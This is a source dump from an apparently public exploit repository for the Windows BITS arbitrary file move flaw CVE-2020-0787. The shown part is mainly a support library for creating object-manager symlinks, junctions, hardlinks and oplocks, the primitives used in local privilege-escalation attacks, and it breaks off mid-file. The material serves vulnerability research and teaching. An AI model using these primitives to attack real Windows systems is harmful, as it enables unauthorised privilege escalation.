18 | 19 | Fichiers sources 20 | 21 | 22 | 23 | 24 | Fichiers d%27en-tête 25 | 26 | 27 | -------------------------------------------------------------------------------- /BitsArbitraryFileMoveExploit/BitsArbitraryFileMoveExploit.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | C:\dl\test\1\BitsArbitraryFileMoveExploit.exe 5 | C:\dl\test\1 6 | 10.120.1.10 7 | WindowsRemoteDebugger 8 | RemoteWithoutAuthentication 9 | false 10 | C:\dl\test\1 11 | false 12 | 13 | -------------------------------------------------------------------------------- /BitsArbitraryFileMoveExploit/resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/BitsArbitraryFileMoveExploit/resource.h -------------------------------------------------------------------------------- /CommonUtils/CommonUtils.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2015 Google Inc. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http ://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include "stdafx.h" 16 | #include "CommonUtils.h" 17 | #include 18 | #include "ntimports.h" 19 | 20 | void __stdcall my_puts(const char* str) 21 | { 22 | fwrite(str, 1, strlen(str), stdout); 23 | } 24 | 25 | static console_output _pout = my_puts; 26 | 27 | void DebugSetOutput(console_output pout) 28 | { 29 | _pout = pout; 30 | } 31 | 32 | void DebugPrintf(const char* lpFormat, ...) 33 | { 34 | CHAR buf[1024]; 35 | va_list va; 36 | 37 | va_start(va, lpFormat); 38 | 39 | StringCbVPrintfA(buf, sizeof(buf), lpFormat, va); 40 | 41 | _pout(buf); 42 | } 43 | 44 | std::wstring GetErrorMessage(DWORD dwError) 45 | { 46 | LPWSTR pBuffer = NULL; 47 | 48 | DWORD dwSize = FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | 49 | FORMAT_MESSAGE_ALLOCATE_BUFFER, 0, dwError, 0, (LPWSTR)&pBuffer, 32 * 1024, nullptr); 50 | 51 | if (dwSize > 0) 52 | { 53 | std::wstring ret = pBuffer; 54 | 55 | LocalFree(pBuffer); 56 | 57 | return ret; 58 | } 59 | else 60 | { 61 | printf("Error getting message %d\n", GetLastError()); 62 | WCHAR buf[64]; 63 | StringCchPrintf(buf, _countof(buf), L"%d", dwError); 64 | return buf; 65 | } 66 | } 67 | 68 | std::wstring GetErrorMessage() 69 | { 70 | return GetErrorMessage(GetLastError()); 71 | } 72 | 73 | 74 | BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) 75 | { 76 | TOKEN_PRIVILEGES tp; 77 | LUID luid; 78 | 79 | if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) 80 | { 81 | return FALSE; 82 | } 83 | 84 | tp.PrivilegeCount = 1; 85 | tp.Privileges[0].Luid = luid; 86 | if (bEnablePrivilege) 87 | { 88 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 89 | } 90 | else 91 | { 92 | tp.Privileges[0].Attributes = 0; 93 | } 94 | 95 | if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) 96 | { 97 | return FALSE; 98 | } 99 | 100 | if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) 101 | { 102 | return FALSE; 103 | } 104 | 105 | return TRUE; 106 | } 107 | 108 | DWORD NtStatusToDosError(NTSTATUS status) 109 | { 110 | DEFINE_NTDLL(RtlNtStatusToDosError); 111 | return fRtlNtStatusToDosError(status); 112 | } 113 | 114 | void SetNtLastError(NTSTATUS status) 115 | { 116 | SetLastError(NtStatusToDosError(status)); 117 | } 118 | 119 | FARPROC GetProcAddressNT(LPCSTR lpName) 120 | { 121 | return GetProcAddress(GetModuleHandleW(L"ntdll"), lpName); 122 | } 123 | 124 | HANDLE OpenFileNative(LPCWSTR path, HANDLE root, ACCESS_MASK desired_access, ULONG share_access, ULONG open_options) 125 | { 126 | UNICODE_STRING name = { 0 }; 127 | OBJECT_ATTRIBUTES obj_attr = { 0 }; 128 | 129 | DEFINE_NTDLL(RtlInitUnicodeString); 130 | DEFINE_NTDLL(NtOpenFile); 131 | 132 | if (path) 133 | { 134 | fRtlInitUnicodeString(&name, path); 135 | InitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE, root, nullptr); 136 | } 137 | else 138 | { 139 | InitializeObjectAttributes(&obj_attr, nullptr, OBJ_CASE_INSENSITIVE, root, nullptr); 140 | } 141 | 142 | HANDLE h = nullptr; 143 | IO_STATUS_BLOCK io_status = { 0 }; 144 | NTSTATUS status = fNtOpenFile(&h, desired_access, &obj_attr, &io_status, share_access, open_options); 145 | if (NT_SUCCESS(status)) 146 | { 147 | return h; 148 | } 149 | else 150 | { 151 | SetNtLastError(status); 152 | return nullptr; 153 | } 154 | } 155 | 156 | std::wstring BuildFullPath(const std::wstring& path, bool native) 157 | { 158 | std::wstring ret; 159 | WCHAR buf[MAX_PATH]; 160 | 161 | if (native) 162 | { 163 | ret = L"\\??\\"; 164 | } 165 | 166 | if (GetFullPathName(path.c_str(), MAX_PATH, buf, nullptr) > 0) 167 | { 168 | ret += buf; 169 | } 170 | else 171 | { 172 | ret += path; 173 | } 174 | 175 | return ret; 176 | } -------------------------------------------------------------------------------- /CommonUtils/CommonUtils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | typedef void(__stdcall *console_output)(const char*); 7 | 8 | void DebugSetOutput(console_output pout); 9 | void DebugPrintf(const char* lpFormat, ...); 10 | HANDLE CreateSymlink(HANDLE root, LPCWSTR linkname, LPCWSTR targetname); 11 | HANDLE OpenSymlink(HANDLE root, LPCWSTR linkname); 12 | HANDLE CreateObjectDirectory(HANDLE hRoot, LPCWSTR dirname, HANDLE hShadow); 13 | HANDLE OpenObjectDirectory(HANDLE hRoot, LPCWSTR dirname); 14 | std::wstring GetErrorMessage(DWORD dwError); 15 | std::wstring GetErrorMessage(); 16 | BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege); 17 | bool CreateRegSymlink(LPCWSTR lpSymlink, LPCWSTR lpTarget, bool bVolatile); 18 | bool DeleteRegSymlink(LPCWSTR lpSymlink); 19 | DWORD NtStatusToDosError(NTSTATUS status); 20 | bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname); 21 | HANDLE OpenFileNative(LPCWSTR path, HANDLE root, ACCESS_MASK desired_access, ULONG share_access, ULONG open_options); 22 | std::wstring BuildFullPath(const std::wstring& path, bool native); -------------------------------------------------------------------------------- /CommonUtils/CommonUtils.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432} 23 | Win32Proj 24 | CommonUtils 25 | 26 | 27 | 28 | StaticLibrary 29 | true 30 | v142 31 | Unicode 32 | Static 33 | 34 | 35 | StaticLibrary 36 | true 37 | v142 38 | Unicode 39 | Static 40 | 41 | 42 | StaticLibrary 43 | false 44 | v142 45 | true 46 | Unicode 47 | 48 | 49 | StaticLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | Use 75 | Level3 76 | Disabled 77 | WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions) 78 | true 79 | MultiThreaded 80 | 81 | 82 | Windows 83 | true 84 | 85 | 86 | 87 | 88 | Use 89 | Level3 90 | Disabled 91 | WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions) 92 | true 93 | MultiThreadedDebug 94 | 95 | 96 | Windows 97 | true 98 | 99 | 100 | 101 | 102 | Level3 103 | Use 104 | MaxSpeed 105 | true 106 | true 107 | WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions) 108 | true 109 | MultiThreaded 110 | 111 | 112 | Windows 113 | true 114 | true 115 | true 116 | 117 | 118 | 119 | 120 | Level3 121 | Use 122 | MaxSpeed 123 | true 124 | true 125 | WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions) 126 | true 127 | MultiThreaded 128 | 129 | 130 | Windows 131 | true 132 | true 133 | true 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | Create 159 | Create 160 | Create 161 | Create 162 | 163 | 164 | 165 | 166 | 167 | -------------------------------------------------------------------------------- /CommonUtils/CommonUtils.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | Header Files 38 | 39 | 40 | Header Files 41 | 42 | 43 | Header Files 44 | 45 | 46 | 47 | 48 | Source Files 49 | 50 | 51 | Source Files 52 | 53 | 54 | Source Files 55 | 56 | 57 | Source Files 58 | 59 | 60 | Source Files 61 | 62 | 63 | Source Files 64 | 65 | 66 | Source Files 67 | 68 | 69 | Source Files 70 | 71 | 72 | Source Files 73 | 74 | 75 | Source Files 76 | 77 | 78 | -------------------------------------------------------------------------------- /CommonUtils/CommonUtils.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /CommonUtils/DirectoryObject.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2015 Google Inc. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http ://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include "stdafx.h" 16 | #include "CommonUtils.h" 17 | #include "ntimports.h" 18 | 19 | HANDLE CreateObjectDirectory(HANDLE hRoot, LPCWSTR dirname, HANDLE hShadow) 20 | { 21 | DEFINE_NTDLL(RtlInitUnicodeString); 22 | DEFINE_NTDLL(NtCreateDirectoryObjectEx); 23 | 24 | OBJECT_ATTRIBUTES obj_attr; 25 | UNICODE_STRING obj_name; 26 | 27 | if (dirname) 28 | { 29 | fRtlInitUnicodeString(&obj_name, dirname); 30 | InitializeObjectAttributes(&obj_attr, &obj_name, OBJ_CASE_INSENSITIVE, hRoot, nullptr); 31 | } 32 | else 33 | { 34 | InitializeObjectAttributes(&obj_attr, nullptr, OBJ_CASE_INSENSITIVE, hRoot, nullptr); 35 | } 36 | 37 | HANDLE h = nullptr; 38 | NTSTATUS status = fNtCreateDirectoryObjectEx(&h, DIRECTORY_ALL_ACCESS, &obj_attr, hShadow, FALSE); 39 | if (status == 0) 40 | { 41 | return h; 42 | } 43 | else 44 | { 45 | SetLastError(NtStatusToDosError(status)); 46 | return nullptr; 47 | } 48 | } 49 | 50 | HANDLE OpenObjectDirectory(HANDLE hRoot, LPCWSTR dirname) 51 | { 52 | DEFINE_NTDLL(RtlInitUnicodeString); 53 | DEFINE_NTDLL(NtOpenDirectoryObject); 54 | 55 | OBJECT_ATTRIBUTES obj_attr; 56 | UNICODE_STRING obj_name; 57 | 58 | fRtlInitUnicodeString(&obj_name, dirname); 59 | 60 | InitializeObjectAttributes(&obj_attr, &obj_name, OBJ_CASE_INSENSITIVE, hRoot, nullptr); 61 | 62 | HANDLE h = nullptr; 63 | 64 | NTSTATUS status = fNtOpenDirectoryObject(&h, MAXIMUM_ALLOWED, &obj_attr); 65 | if (status == 0) 66 | { 67 | return h; 68 | } 69 | else 70 | { 71 | SetLastError(NtStatusToDosError(status)); 72 | return nullptr; 73 | } 74 | } -------------------------------------------------------------------------------- /CommonUtils/FileOpLock.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2015 Google Inc. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http ://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include "stdafx.h" 16 | #include "FileOpLock.h" 17 | #include 18 | 19 | void DebugPrintf(LPCSTR lpFormat, ...); 20 | 21 | FileOpLock::FileOpLock(UserCallback cb): 22 | g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb) 23 | { 24 | g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; 25 | g_inputBuffer.StructureLength = sizeof(g_inputBuffer); 26 | g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE; 27 | g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST; 28 | g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; 29 | g_outputBuffer.StructureLength = sizeof(g_outputBuffer); 30 | } 31 | 32 | 33 | FileOpLock::~FileOpLock() 34 | { 35 | if (g_wait) 36 | { 37 | SetThreadpoolWait(g_wait, nullptr, nullptr); 38 | CloseThreadpoolWait(g_wait); 39 | g_wait = nullptr; 40 | } 41 | 42 | if (g_o.hEvent) 43 | { 44 | CloseHandle(g_o.hEvent); 45 | g_o.hEvent = nullptr; 46 | } 47 | 48 | if (g_hFile != INVALID_HANDLE_VALUE) 49 | { 50 | CloseHandle(g_hFile); 51 | g_hFile = INVALID_HANDLE_VALUE; 52 | } 53 | } 54 | 55 | bool FileOpLock::BeginLock(const std::wstring& filename, DWORD dwShareMode, bool exclusive) 56 | { 57 | g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); 58 | g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); 59 | 60 | DWORD flags = FILE_FLAG_OVERLAPPED; 61 | 62 | if (GetFileAttributesW(filename.c_str()) & FILE_ATTRIBUTE_DIRECTORY) 63 | { 64 | flags |= FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT; 65 | } 66 | 67 | g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, 68 | dwShareMode, nullptr, OPEN_EXISTING, 69 | flags, nullptr); 70 | if (g_hFile == INVALID_HANDLE_VALUE) { 71 | DebugPrintf("Error opening file: %d\n", GetLastError()); 72 | return false; 73 | } 74 | 75 | g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); 76 | if (g_wait == nullptr) 77 | { 78 | DebugPrintf("Error creating threadpool %d\n", GetLastError()); 79 | return false; 80 | } 81 | 82 | SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); 83 | 84 | DWORD bytesReturned; 85 | 86 | if (exclusive) 87 | { 88 | DeviceIoControl(g_hFile, 89 | FSCTL_REQUEST_OPLOCK_LEVEL_1, 90 | NULL, 0, 91 | NULL, 0, 92 | &bytesReturned, 93 | &g_o); 94 | } 95 | else 96 | { 97 | DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, 98 | &g_inputBuffer, sizeof(g_inputBuffer), 99 | &g_outputBuffer, sizeof(g_outputBuffer), 100 | nullptr, &g_o); 101 | } 102 | 103 | DWORD err = GetLastError(); 104 | if (err != ERROR_IO_PENDING) { 105 | DebugPrintf("Oplock Failed %d\n", err); 106 | return false; 107 | } 108 | 109 | return true; 110 | } 111 | 112 | FileOpLock* FileOpLock::CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb) 113 | { 114 | FileOpLock* ret = new FileOpLock(cb); 115 | DWORD dwShareMode = 0; 116 | bool exclusive = false; 117 | 118 | if (share_mode.find('r') != std::wstring::npos) 119 | { 120 | dwShareMode |= FILE_SHARE_READ; 121 | } 122 | 123 | if (share_mode.find('w') != std::wstring::npos) 124 | { 125 | dwShareMode |= FILE_SHARE_WRITE; 126 | } 127 | 128 | if (share_mode.find('d') != std::wstring::npos) 129 | { 130 | dwShareMode |= FILE_SHARE_DELETE; 131 | } 132 | 133 | if (share_mode.find('x') != std::wstring::npos) 134 | { 135 | exclusive = true; 136 | } 137 | 138 | if (ret->BeginLock(name, dwShareMode, exclusive)) 139 | { 140 | return ret; 141 | } 142 | else 143 | { 144 | delete ret; 145 | return nullptr; 146 | } 147 | } 148 | 149 | void FileOpLock::WaitForLock(UINT Timeout) 150 | { 151 | WaitForSingleObject(g_hLockCompleted, Timeout); 152 | } 153 | 154 | void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance, 155 | PVOID Parameter, PTP_WAIT Wait, 156 | TP_WAIT_RESULT WaitResult) 157 | { 158 | UNREFERENCED_PARAMETER(Instance); 159 | UNREFERENCED_PARAMETER(Wait); 160 | UNREFERENCED_PARAMETER(WaitResult); 161 | 162 | FileOpLock* lock = reinterpret_cast(Parameter); 163 | 164 | lock->DoWaitCallback(); 165 | } 166 | 167 | void FileOpLock::DoWaitCallback() 168 | { 169 | DWORD dwBytes; 170 | if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { 171 | DebugPrintf("Oplock Failed\n"); 172 | } 173 | 174 | if (_cb) 175 | { 176 | _cb(); 177 | } 178 | 179 | //DebugPrintf("Closing Handle\n"); 180 | CloseHandle(g_hFile); 181 | g_hFile = INVALID_HANDLE_VALUE; 182 | SetEvent(g_hLockCompleted); 183 | } -------------------------------------------------------------------------------- /CommonUtils/FileOpLock.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | class FileOpLock 7 | { 8 | public: 9 | typedef void(*UserCallback)(); 10 | 11 | static FileOpLock* CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb); 12 | void WaitForLock(UINT Timeout); 13 | 14 | ~FileOpLock(); 15 | private: 16 | 17 | HANDLE g_hFile; 18 | OVERLAPPED g_o; 19 | REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer; 20 | REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer; 21 | HANDLE g_hLockCompleted; 22 | PTP_WAIT g_wait; 23 | UserCallback _cb; 24 | 25 | FileOpLock(UserCallback cb); 26 | 27 | static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance, 28 | PVOID Parameter, PTP_WAIT Wait, 29 | TP_WAIT_RESULT WaitResult); 30 | 31 | void DoWaitCallback(); 32 | 33 | bool BeginLock(const std::wstring& name, DWORD dwShareMode, bool exclusive); 34 | 35 | }; 36 | 37 | -------------------------------------------------------------------------------- /CommonUtils/FileSymlink.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2015 Google Inc. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http ://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include "stdafx.h" 16 | #include "FileSymlink.h" 17 | 18 | #include 19 | #include "ReparsePoint.h" 20 | #include "CommonUtils.h" 21 | 22 | FileSymlink::FileSymlink(bool permanent) 23 | : m_created_junction(false), m_hlink(nullptr), m_permanent(permanent) 24 | { 25 | } 26 | 27 | FileSymlink::FileSymlink() : FileSymlink(false) 28 | { 29 | } 30 | 31 | FileSymlink::~FileSymlink() 32 | { 33 | if (!m_permanent) 34 | { 35 | if (m_hlink) 36 | { 37 | CloseHandle(m_hlink); 38 | } 39 | 40 | if (m_created_junction) 41 | { 42 | RemoveDirectory(m_junctiondir); 43 | } 44 | } 45 | } 46 | 47 | bstr_t GetNativePath(LPCWSTR name, PBOOL isnative) 48 | { 49 | if (name[0] == '@') 50 | { 51 | *isnative = TRUE; 52 | return name + 1; 53 | } 54 | else 55 | { 56 | *isnative = FALSE; 57 | std::vector buf(32 * 1024); 58 | 59 | if (GetFullPathNameW(name, buf.size(), &buf[0], nullptr) == 0) 60 | { 61 | return L""; 62 | } 63 | 64 | return &buf[0]; 65 | } 66 | } 67 | 68 | FileSymlink::FileSymlink(FileSymlink&& other) 69 | { 70 | m_created_junction = other.m_created_junction; 71 | m_hlink = other.m_hlink; 72 | m_junctiondir = other.m_junctiondir; 73 | m_linkname = other.m_linkname; 74 | m_target = other.m_target; 75 | 76 | other.m_created_junction = false; 77 | other.m_hlink = nullptr; 78 | } 79 | 80 | FileSymlink& FileSymlink::operator=(FileSymlink&& other) 81 | { 82 | m_created_junction = other.m_created_junction; 83 | m_hlink = other.m_hlink; 84 | m_junctiondir = other.m_junctiondir; 85 | m_linkname = other.m_linkname; 86 | m_target = other.m_target; 87 | 88 | other.m_created_junction = false; 89 | other.m_hlink = nullptr; 90 | 91 | return *this; 92 | } 93 | 94 | static void RemovePermanentSymlink(LPCWSTR symlink, LPCWSTR target) 95 | { 96 | DefineDosDeviceW(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | 97 | DDD_EXACT_MATCH_ON_REMOVE, symlink, target); 98 | DefineDosDeviceW(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | 99 | DDD_EXACT_MATCH_ON_REMOVE, symlink, target); 100 | } 101 | 102 | static bool CreatePermanentSymlink(LPCWSTR symlink, LPCWSTR target) 103 | { 104 | if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, symlink, target) 105 | && DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, symlink, target)) 106 | { 107 | return true; 108 | } 109 | return false; 110 | } 111 | 112 | bool FileSymlink::CreateSymlink(LPCWSTR xsymlink, LPCWSTR xtarget, LPCWSTR xbaseobjdir) 113 | { 114 | bstr_t symlink = xsymlink; 115 | bstr_t baseobjdir = L"\\RPC Control"; 116 | 117 | if (xbaseobjdir) 118 | { 119 | baseobjdir = xbaseobjdir; 120 | } 121 | 122 | BOOL isnative; 123 | 124 | bstr_t linkname = GetNativePath(symlink, &isnative); 125 | if (linkname.length() == 0) 126 | { 127 | return 1; 128 | } 129 | 130 | if (!isnative) 131 | { 132 | wchar_t* slash = wcsrchr(symlink.GetBSTR(), L'\\'); 133 | if (slash == nullptr) 134 | { 135 | DebugPrintf("Error must supply a directory and link name\n"); 136 | return false; 137 | } 138 | 139 | linkname = baseobjdir + slash; 140 | 141 | *slash = 0; 142 | 143 | m_junctiondir = symlink; 144 | 145 | if (!CreateDirectory(m_junctiondir, nullptr) && GetLastError() != ERROR_ALREADY_EXISTS) 146 | { 147 | DebugPrintf("Couldn't create symlink directory\n"); 148 | return false; 149 | } 150 | 151 | bstr_t destdir = baseobjdir; 152 | 153 | if (!ReparsePoint::CreateMountPoint(m_junctiondir.GetBSTR(), destdir.GetBSTR(), L"")) 154 | { 155 | DebugPrintf("Error creating junction %d\n", ReparsePoint::GetLastError()); 156 | return false; 157 | } 158 | 159 | m_created_junction = true; 160 | } 161 | 162 | bstr_t target = GetNativePath(xtarget, &isnative); 163 | if (target.length() == 0) 164 | { 165 | return false; 166 | } 167 | 168 | if (!isnative) 169 | { 170 | target = L"\\??\\" + target; 171 | } 172 | 173 | if (m_permanent) 174 | { 175 | linkname = L"Global\\GLOBALROOT" + linkname; 176 | 177 | if (!CreatePermanentSymlink(linkname, target)) 178 | { 179 | DebugPrintf("Error creating symlink %ls\n", GetErrorMessage().c_str()); 180 | return false; 181 | } 182 | } 183 | else 184 | { 185 | m_hlink = ::CreateSymlink(nullptr, linkname, target); 186 | if (!m_hlink) 187 | { 188 | return false; 189 | } 190 | } 191 | 192 | m_linkname = linkname; 193 | m_target = target; 194 | 195 | return true; 196 | } 197 | 198 | 199 | bool FileSymlink::ChangeSymlink(LPCWSTR newtarget) 200 | { 201 | BOOL isnative; 202 | 203 | bstr_t target = GetNativePath(newtarget, &isnative); 204 | if (target.length() == 0) 205 | { 206 | return false; 207 | } 208 | 209 | if (!isnative) 210 | { 211 | target = L"\\??\\" + target; 212 | } 213 | 214 | if (m_permanent) 215 | { 216 | RemovePermanentSymlink(m_linkname, m_target); 217 | if (!CreatePermanentSymlink(m_linkname, target)) 218 | { 219 | return false; 220 | } 221 | } 222 | else 223 | { 224 | if (!m_hlink) 225 | { 226 | SetLastError(ERROR_INVALID_PARAMETER); 227 | return false; 228 | } 229 | 230 | CloseHandle(m_hlink); 231 | m_hlink = nullptr; 232 | 233 | 234 | m_hlink = ::CreateSymlink(nullptr, m_linkname, target); 235 | if (!m_hlink) 236 | { 237 | return false; 238 | } 239 | } 240 | 241 | m_target = target; 242 | 243 | return true; 244 | } -------------------------------------------------------------------------------- /CommonUtils/FileSymlink.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | class FileSymlink 5 | { 6 | bstr_t m_junctiondir; 7 | bstr_t m_linkname; 8 | bstr_t m_target; 9 | bool m_created_junction; 10 | HANDLE m_hlink; 11 | bool m_permanent; 12 | 13 | public: 14 | FileSymlink(bool permanent); 15 | FileSymlink(); 16 | FileSymlink(FileSymlink&& other); 17 | FileSymlink& operator=(FileSymlink&& other); 18 | FileSymlink(const FileSymlink& other) = delete; 19 | FileSymlink& operator=(const FileSymlink& other) = delete; 20 | 21 | bool CreateSymlink(LPCWSTR symlink, LPCWSTR target, LPCWSTR baseobjdir); 22 | bool ChangeSymlink(LPCWSTR newtarget); 23 | 24 | ~FileSymlink(); 25 | }; 26 | 27 | -------------------------------------------------------------------------------- /CommonUtils/Hardlink.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2015 Google Inc. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http ://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include "stdafx.h" 16 | #include "CommonUtils.h" 17 | #include "ntimports.h" 18 | #include "typed_buffer.h" 19 | 20 | bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname) 21 | { 22 | std::wstring full_linkname = BuildFullPath(linkname, true); 23 | size_t len = full_linkname.size() * sizeof(WCHAR); 24 | 25 | typed_buffer_ptr link_info(sizeof(FILE_LINK_INFORMATION) + len - sizeof(WCHAR)); 26 | 27 | memcpy(&link_info->FileName[0], full_linkname.c_str(), len); 28 | link_info->ReplaceIfExists = TRUE; 29 | link_info->FileNameLength = len; 30 | 31 | std::wstring full_targetname = BuildFullPath(targetname, true); 32 | 33 | HANDLE hFile = OpenFileNative(full_targetname.c_str(), nullptr, MAXIMUM_ALLOWED, FILE_SHARE_READ, 0); 34 | if (hFile) 35 | { 36 | DEFINE_NTDLL(ZwSetInformationFile); 37 | IO_STATUS_BLOCK io_status = { 0 }; 38 | 39 | NTSTATUS status = fZwSetInformationFile(hFile, &io_status, link_info, link_info.size(), FileLinkInformation); 40 | CloseHandle(hFile); 41 | if (NT_SUCCESS(status)) 42 | { 43 | return true; 44 | } 45 | SetNtLastError(status); 46 | } 47 | 48 | return false; 49 | } -------------------------------------------------------------------------------- /CommonUtils/NativeSymlink.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2015 Google Inc. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http ://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 